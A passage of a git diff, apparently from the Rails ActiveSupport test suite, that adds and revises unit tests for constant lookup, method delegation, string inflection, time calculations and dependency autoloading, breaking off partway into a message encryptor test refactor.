diff --git a/activesupport/test/core_ext/module/qualified_const_test.rb b/activesupport/test/core_ext/module/qualified_const_test.rb
new file mode 100644
index 0000000000..8af0b9a023
--- /dev/null
+++ b/activesupport/test/core_ext/module/qualified_const_test.rb
@@ -0,0 +1,94 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/qualified_const'
+
+module QualifiedConstTestMod
+ X = false
+
+ module M
+ X = 1
+
+ class C
+ X = 2
+ end
+ end
+
+ module N
+ include M
+ end
+end
+
+class QualifiedConstTest < ActiveSupport::TestCase
+ test "Object.qualified_const_defined?" do
+ assert Object.qualified_const_defined?("QualifiedConstTestMod")
+ assert !Object.qualified_const_defined?("NonExistingQualifiedConstTestMod")
+
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::Y")
+
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::M::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::M::Y")
+
+ if Module.method(:const_defined?).arity == 1
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ else
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ assert !Object.qualified_const_defined?("QualifiedConstTestMod::N::X", false)
+ assert Object.qualified_const_defined?("QualifiedConstTestMod::N::X", true)
+ end
+ end
+
+ test "mod.qualified_const_defined?" do
+ assert QualifiedConstTestMod.qualified_const_defined?("M")
+ assert !QualifiedConstTestMod.qualified_const_defined?("NonExistingM")
+
+ assert QualifiedConstTestMod.qualified_const_defined?("M::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("M::Y")
+
+ assert QualifiedConstTestMod.qualified_const_defined?("M::C::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("M::C::Y")
+
+ if Module.method(:const_defined?).arity == 1
+ assert !QualifiedConstTestMod.qualified_const_defined?("QualifiedConstTestMod::N::X")
+ else
+ assert QualifiedConstTestMod.qualified_const_defined?("N::X")
+ assert !QualifiedConstTestMod.qualified_const_defined?("N::X", false)
+ assert QualifiedConstTestMod.qualified_const_defined?("N::X", true)
+ end
+ end
+
+ test "qualified_const_get" do
+ assert_equal false, Object.qualified_const_get("QualifiedConstTestMod::X")
+ assert_equal false, QualifiedConstTestMod.qualified_const_get("X")
+ assert_equal 1, QualifiedConstTestMod.qualified_const_get("M::X")
+ assert_equal 1, QualifiedConstTestMod.qualified_const_get("N::X")
+ assert_equal 2, QualifiedConstTestMod.qualified_const_get("M::C::X")
+
+ assert_raise(NameError) { QualifiedConstTestMod.qualified_const_get("M::C::Y")}
+ end
+
+ test "qualified_const_set" do
+ m = Module.new
+ assert_equal m, Object.qualified_const_set("QualifiedConstTestMod2", m)
+ assert_equal m, ::QualifiedConstTestMod2
+
+ # We are going to assign to existing constants on purpose, so silence warnings.
+ silence_warnings do
+ assert_equal true, QualifiedConstTestMod.qualified_const_set("QualifiedConstTestMod::X", true)
+ assert_equal true, QualifiedConstTestMod::X
+
+ assert_equal 10, QualifiedConstTestMod::M.qualified_const_set("X", 10)
+ assert_equal 10, QualifiedConstTestMod::M::X
+ end
+ end
+
+ test "reject absolute paths" do
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X")}
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_defined?("::X::Y")}
+
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X")}
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_get("::X::Y")}
+
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X", nil)}
+ assert_raise(NameError, "wrong constant name ::X") { Object.qualified_const_set("::X::Y", nil)}
+ end
+end
diff --git a/activesupport/test/core_ext/module/remove_method_test.rb b/activesupport/test/core_ext/module/remove_method_test.rb
new file mode 100644
index 0000000000..4657f0c175
--- /dev/null
+++ b/activesupport/test/core_ext/module/remove_method_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/remove_method'
+
+module RemoveMethodTests
+ class A
+ def do_something
+ return 1
+ end
+
+ end
+end
+
+class RemoveMethodTest < ActiveSupport::TestCase
+
+ def test_remove_method_from_an_object
+ RemoveMethodTests::A.class_eval{
+ self.remove_possible_method(:do_something)
+ }
+ assert !RemoveMethodTests::A.new.respond_to?(:do_something)
+ end
+
+ def test_redefine_method_in_an_object
+ RemoveMethodTests::A.class_eval{
+ self.redefine_method(:do_something) { return 100 }
+ }
+ assert_equal 100, RemoveMethodTests::A.new.do_something
+ end
+
+end \ No newline at end of file
diff --git a/activesupport/test/core_ext/module/synchronization_test.rb b/activesupport/test/core_ext/module/synchronization_test.rb
deleted file mode 100644
index 6c407e2260..0000000000
--- a/activesupport/test/core_ext/module/synchronization_test.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-require 'thread'
-require 'abstract_unit'
-
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/module/synchronization'
-
-class SynchronizationTest < Test::Unit::TestCase
- def setup
- @target = Class.new
- @target.cattr_accessor :mutex, :instance_writer => false
- @target.mutex = Mutex.new
- @instance = @target.new
- end
-
- def test_synchronize_aliases_method_chain_with_synchronize
- @target.module_eval do
- attr_accessor :value
- synchronize :value, :with => :mutex
- end
- assert_respond_to @instance, :value_with_synchronization
- assert_respond_to @instance, :value_without_synchronization
- end
-
- def test_synchronize_does_not_change_behavior
- @target.module_eval do
- attr_accessor :value
- synchronize :value, :with => :mutex
- end
- expected = "some state"
- @instance.value = expected
- assert_equal expected, @instance.value
- end
-
- def test_synchronize_with_no_mutex_raises_an_argument_error
- assert_raise(ArgumentError) do
- @target.synchronize :to_s
- end
- end
-
- def test_double_synchronize_raises_an_argument_error
- @target.synchronize :to_s, :with => :mutex
- assert_raise(ArgumentError) do
- @target.synchronize :to_s, :with => :mutex
- end
- end
-
- def dummy_sync
- dummy = Object.new
- def dummy.synchronize
- @sync_count ||= 0
- @sync_count += 1
- yield
- end
- def dummy.sync_count; @sync_count; end
- dummy
- end
-
- def test_mutex_is_entered_during_method_call
- @target.mutex = dummy_sync
- @target.synchronize :to_s, :with => :mutex
- @instance.to_s
- @instance.to_s
- assert_equal 2, @target.mutex.sync_count
- end
-
- def test_can_synchronize_method_with_punctuation
- @target.module_eval do
- def dangerous?
- @dangerous
- end
- def dangerous!
- @dangerous = true
- end
- end
- @target.synchronize :dangerous?, :dangerous!, :with => :mutex
- @instance.dangerous!
- assert @instance.dangerous?
- end
-
- def test_can_synchronize_singleton_methods
- @target.mutex = dummy_sync
- class << @target
- synchronize :to_s, :with => :mutex
- end
- assert_respond_to @target, :to_s_without_synchronization
- assert_nothing_raised { @target.to_s; @target.to_s }
- assert_equal 2, @target.mutex.sync_count
- end
-end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index a95cf1591f..f11bf3dc69 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -26,11 +26,20 @@ module Yz
end
end
-Somewhere = Struct.new(:street, :city)
+Somewhere = Struct.new(:street, :city) do
+ attr_accessor :name
+end
-Someone = Struct.new(:name, :place) do
+class Someone < Struct.new(:name, :place)
delegate :street, :city, :to_f, :to => :place
+ delegate :name=, :to => :place, :prefix => true
delegate :upcase, :to => "place.city"
+
+ FAILED_DELEGATE_LINE = __LINE__ + 1
+ delegate :foo, :to => :place
+
+ FAILED_DELEGATE_LINE_2 = __LINE__ + 1
+ delegate :bar, :to => :place, :allow_nil => true
end
Invoice = Struct.new(:client) do
@@ -69,6 +78,11 @@ class ModuleTest < Test::Unit::TestCase
assert_equal "Chicago", @david.city
end
+ def test_delegation_to_assignment_method
+ @david.place_name = "Fred"
+ assert_equal "Fred", @david.place.name
+ end
+
def test_delegation_down_hierarchy
assert_equal "CHICAGO", @david.upcase
end
@@ -164,6 +178,26 @@ class ModuleTest < Test::Unit::TestCase
end
end
+ def test_delegation_exception_backtrace
+ someone = Someone.new("foo", "bar")
+ someone.foo
+ rescue NoMethodError => e
+ file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE}"
+ # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+ assert e.backtrace.any?{|a| a.include?(file_and_line)},
+ "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+ end
+
+ def test_delegation_exception_backtrace_with_allow_nil
+ someone = Someone.new("foo", "bar")
+ someone.bar
+ rescue NoMethodError => e
+ file_and_line = "#{__FILE__}:#{Someone::FAILED_DELEGATE_LINE_2}"
+ # We can't simply check the first line of the backtrace, because JRuby reports the call to __send__ in the backtrace.
+ assert e.backtrace.any?{|a| a.include?(file_and_line)},
+ "[#{e.backtrace.inspect}] did not include [#{file_and_line}]"
+ end
+
def test_parent
assert_equal Yz::Zy, Yz::Zy::Cd.parent
assert_equal Yz, Yz::Zy.parent
diff --git a/activesupport/test/core_ext/object/inclusion_test.rb b/activesupport/test/core_ext/object/inclusion_test.rb
index 1de857d678..568ebe9aab 100644
--- a/activesupport/test/core_ext/object/inclusion_test.rb
+++ b/activesupport/test/core_ext/object/inclusion_test.rb
@@ -2,6 +2,16 @@ require 'abstract_unit'
require 'active_support/core_ext/object/inclusion'
class InTest < Test::Unit::TestCase
+ def test_in_multiple_args
+ assert :b.in?(:a,:b)
+ assert !:c.in?(:a,:b)
+ end
+
+ def test_in_multiple_arrays
+ assert [1,2].in?([1,2],[2,3])
+ assert ![1,2].in?([1,3],[2,1])
+ end
+
def test_in_array
assert 1.in?([1,2])
assert !3.in?([1,2])
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 84da52f4bf..c146f6cc9b 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'active_support/ordered_hash'
require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/string/output_safety.rb'
class ToQueryTest < Test::Unit::TestCase
def test_simple_conversion
@@ -11,6 +12,14 @@ class ToQueryTest < Test::Unit::TestCase
assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d'
end
+ def test_html_safe_parameter_key
+ assert_query_equal 'a%3Ab=c+d', 'a:b'.html_safe => 'c d'
+ end
+
+ def test_html_safe_parameter_value
+ assert_query_equal 'a=%5B10%5D', 'a' => '[10]'.html_safe
+ end
+
def test_nil_parameter_value
empty = Object.new
def empty.to_param; nil end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index beb371d987..782a01213d 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -99,13 +99,13 @@ class ObjectTryTest < Test::Unit::TestCase
def test_nonexisting_method
method = :undefined_method
assert !@string.respond_to?(method)
- assert_nil @string.try(method)
+ assert_raise(NoMethodError) { @string.try(method) }
end
def test_nonexisting_method_with_arguments
method = :undefined_method
assert !@string.respond_to?(method)
- assert_nil @string.try(method, 'llo', 'y')
+ assert_raise(NoMethodError) { @string.try(method, 'llo', 'y') }
end
def test_valid_method
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 18a86e08f5..ade09efc56 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -2,15 +2,30 @@
require 'date'
require 'abstract_unit'
require 'inflector_test_cases'
+require 'constantize_test_cases'
require 'active_support/inflector'
require 'active_support/core_ext/string'
require 'active_support/time'
-require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/string/strip'
+require 'active_support/core_ext/string/output_safety'
+
+module Ace
+ module Base
+ class Case
+ end
+ end
+end
class StringInflectionsTest < Test::Unit::TestCase
include InflectorTestCases
+ include ConstantizeTestCases
+
+ def test_erb_escape
+ string = [192, 60].pack('CC')
+ expected = 192.chr + "&lt;"
+ assert_equal expected, ERB::Util.html_escape(string)
+ end
def test_strip_heredoc_on_an_empty_string
assert_equal '', ''.strip_heredoc
@@ -49,6 +64,10 @@ class StringInflectionsTest < Test::Unit::TestCase
end
assert_equal("plurals", "plurals".pluralize)
+
+ assert_equal("blargles", "blargle".pluralize(0))
+ assert_equal("blargle", "blargle".pluralize(1))
+ assert_equal("blargles", "blargle".pluralize(2))
end
def test_singularize
@@ -92,6 +111,10 @@ class StringInflectionsTest < Test::Unit::TestCase
assert_equal "Account", "MyApplication::Billing::Account".demodulize
end
+ def test_deconstantize
+ assert_equal "MyApplication::Billing", "MyApplication::Billing::Account".deconstantize
+ end
+
def test_foreign_key
ClassNameToForeignKeyWithUnderscore.each do |klass, foreign_key|
assert_equal(foreign_key, klass.foreign_key)
@@ -286,6 +309,18 @@ class StringInflectionsTest < Test::Unit::TestCase
"\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8').truncate(10)
end
end
+
+ def test_constantize
+ run_constantize_tests_on do |string|
+ string.constantize
+ end
+ end
+
+ def test_safe_constantize
+ run_safe_constantize_tests_on do |string|
+ string.safe_constantize
+ end
+ end
end
class StringBehaviourTest < Test::Unit::TestCase
@@ -354,7 +389,7 @@ class OutputSafetyTest < ActiveSupport::TestCase
test "A fixnum is safe by default" do
assert 5.html_safe?
end
-
+
test "a float is safe by default" do
assert 5.7.html_safe?
end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index c4c4381957..6cc63851e9 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -59,8 +59,28 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,11,28), Time.local(2005,12,02,0,0,0).beginning_of_week #friday
assert_equal Time.local(2005,11,28), Time.local(2005,12,03,0,0,0).beginning_of_week #saturday
assert_equal Time.local(2005,11,28), Time.local(2005,12,04,0,0,0).beginning_of_week #sunday
+
+ end
+
+ def test_days_to_week_start
+ assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+ assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
+ assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+ assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
+ assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
+ assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
+ assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
end
+
def test_beginning_of_day
assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day
with_env_tz 'US/Eastern' do
@@ -135,7 +155,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,5,1,10), Time.local(2005,6,5,10,0,0).weeks_ago(5)
assert_equal Time.local(2005,4,24,10), Time.local(2005,6,5,10,0,0).weeks_ago(6)
assert_equal Time.local(2005,2,27,10), Time.local(2005,6,5,10,0,0).weeks_ago(14)
- assert_equal Time.local(2004,12,25,10), Time.local(2005,1,1,10,0,0).weeks_ago(1)
+ assert_equal Time.local(2004,12,25,10), Time.local(2005,1,1,10,0,0).weeks_ago(1)
end
def test_months_ago
@@ -479,7 +499,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2006,10,30), Time.local(2006,11,6,0,0,0).prev_week
assert_equal Time.local(2006,11,15), Time.local(2006,11,23,0,0,0).prev_week(:wednesday)
end
- end
+ end
def test_next_week
with_env_tz 'US/Eastern' do
@@ -538,12 +558,12 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
def test_to_datetime
- assert_equal Time.utc(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, 0, 0)
+ assert_equal Time.utc(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, 0)
with_env_tz 'US/Eastern' do
- assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400), 0)
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
end
with_env_tz 'NZ' do
- assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400), 0)
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
end
assert_equal ::Date::ITALY, Time.utc(2005, 2, 21, 17, 44, 30).to_datetime.start # use Ruby's default start value
end
@@ -592,11 +612,11 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
def test_time_with_datetime_fallback
assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
- assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
- assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0, 0)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
+ assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset)
+ assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0, 0)
+ assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
# This won't overflow on 64bit linux
unless time_is_64bits?
@@ -616,16 +636,16 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
def test_utc_time
assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
- assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
- assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0, 0)
+ assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
+ assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0)
end
def test_local_time
assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
+ assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset)
unless time_is_64bits?
- assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
+ assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, DateTime.local_offset)
end
end
@@ -744,6 +764,12 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
end
+ def test_eql?
+ assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+ assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+ assert_equal false,Time.utc(2000, 1, 1, 0, 0, 1).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+ end
+
def test_minus_with_time_with_zone
assert_equal 86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
end
@@ -764,7 +790,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
def test_case_equality
assert Time === Time.utc(2000)
assert Time === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC'])
+ assert Time === Class.new(Time).utc(2000)
assert_equal false, Time === DateTime.civil(2000)
+ assert_equal false, Class.new(Time) === Time.utc(2000)
+ assert_equal false, Class.new(Time) === ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC'])
end
def test_all_day
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index b2309ae806..9d9e411c28 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -200,8 +200,15 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_eql?
- assert @twz.eql?(Time.utc(2000))
- assert @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+ assert_equal true, @twz.eql?(Time.utc(2000))
+ assert_equal true, @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+ assert_equal false, @twz.eql?( Time.utc(2000, 1, 1, 0, 0, 1) )
+ assert_equal false, @twz.eql?( DateTime.civil(1999, 12, 31, 23, 59, 59) )
+ end
+
+ def test_hash
+ assert_equal Time.utc(2000).hash, @twz.hash
+ assert_equal Time.utc(2000).hash, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]).hash
end
def test_plus_with_integer
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index b4edf0f51d..fe8f51e11a 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -1,7 +1,6 @@
require 'abstract_unit'
require 'pp'
require 'active_support/dependencies'
-require 'active_support/core_ext/kernel/reporting'
module ModuleWithMissing
mattr_accessor :missing_count
@@ -521,6 +520,24 @@ class DependenciesTest < Test::Unit::TestCase
ActiveSupport::Dependencies.autoload_once_paths = []
end
+ def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
+ with_autoloading_fixtures do
+ pathnames = ActiveSupport::Dependencies.autoload_paths.collect{|p| Pathname.new(p)}
+ ActiveSupport::Dependencies.autoload_paths = pathnames
+ ActiveSupport::Dependencies.autoload_once_paths = pathnames
+
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
+ assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
+
+ 1 if ModuleFolder::NestedClass # 1 if to avoid warning
+ assert ! ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+ end
+ ensure
+ Object.class_eval { remove_const :ModuleFolder }
+ ActiveSupport::Dependencies.autoload_once_paths = []
+ end
+
def test_application_should_special_case_application_controller
with_autoloading_fixtures do
require_dependency 'application'
diff --git a/activesupport/test/flush_cache_on_private_memoization_test.rb b/activesupport/test/flush_cache_on_private_memoization_test.rb
index 20768b777a..bc488cc743 100644
--- a/activesupport/test/flush_cache_on_private_memoization_test.rb
+++ b/activesupport/test/flush_cache_on_private_memoization_test.rb
@@ -1,7 +1,7 @@
require 'abstract_unit'
require 'test/unit'
-class FlashCacheOnPrivateMemoizationTest < Test::Unit::TestCase
+class FlushCacheOnPrivateMemoizationTest < Test::Unit::TestCase
ActiveSupport::Deprecation.silence do
extend ActiveSupport::Memoizable
end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index b9e299af75..6b7e839e43 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -2,16 +2,11 @@ require 'abstract_unit'
require 'active_support/inflector'
require 'inflector_test_cases'
-
-module Ace
- module Base
- class Case
- end
- end
-end
+require 'constantize_test_cases'
class InflectorTest < Test::Unit::TestCase
include InflectorTestCases
+ include ConstantizeTestCases
def test_pluralize_plurals
assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals")
@@ -199,6 +194,20 @@ class InflectorTest < Test::Unit::TestCase
def test_demodulize
assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
+ assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+ assert_equal "", ActiveSupport::Inflector.demodulize("")
+ end
+
+ def test_deconstantize
+ assert_equal "MyApplication::Billing", ActiveSupport::Inflector.deconstantize("MyApplication::Billing::Account")
+ assert_equal "::MyApplication::Billing", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing::Account")
+
+ assert_equal "MyApplication", ActiveSupport::Inflector.deconstantize("MyApplication::Billing")
+ assert_equal "::MyApplication", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing")
+
+ assert_equal "", ActiveSupport::Inflector.deconstantize("Account")
+ assert_equal "", ActiveSupport::Inflector.deconstantize("::Account")
+ assert_equal "", ActiveSupport::Inflector.deconstantize("")
end
def test_foreign_key
@@ -282,17 +291,15 @@ class InflectorTest < Test::Unit::TestCase
end
def test_constantize
- assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("Ace::Base::Case") }
- assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("::Ace::Base::Case") }
- assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("InflectorTest") }
- assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("::InflectorTest") }
- assert_raise(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") }
- assert_raise(NameError) { ActiveSupport::Inflector.constantize("An invalid string") }
- assert_raise(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") }
+ run_constantize_tests_on do |string|
+ ActiveSupport::Inflector.constantize(string)
+ end
end
-
- def test_constantize_does_lexical_lookup
- assert_raise(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") }
+
+ def test_safe_constantize
+ run_safe_constantize_tests_on do |string|
+ ActiveSupport::Inflector.safe_constantize(string)
+ end
end
def test_ordinal
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index 0cb1f70657..e3a343af52 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -14,6 +14,7 @@ module InflectorTestCases
"fish" => "fish",
"jeans" => "jeans",
"funky jeans" => "funky jeans",
+ "my money" => "my money",
"category" => "categories",
"query" => "queries",
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 201729a6c2..d1454902e5 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -2,7 +2,6 @@
require 'abstract_unit'
require 'active_support/json'
require 'active_support/time'
-require 'active_support/core_ext/kernel/reporting'
class TestJSONDecoding < ActiveSupport::TestCase
TESTS = {
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index e45d5ecd59..3e6a5c6602 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -8,50 +8,84 @@ rescue LoadError, NameError
else
require 'active_support/time'
+require 'active_support/json'
-class MessageEncryptorTest < Test::Unit::TestCase
- def setup
- @encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64))
- @data = { :some => "data", :now => Time.local(2010) }
+class MessageEncryptorTest < ActiveSupport::TestCase
+ class JSONSerializer
+ def dump(value)
+ ActiveSupport::JSON.encode(value)
+ end
+
+ def load(value)
+ ActiveSupport::JSON.decode(value)
+ end
end
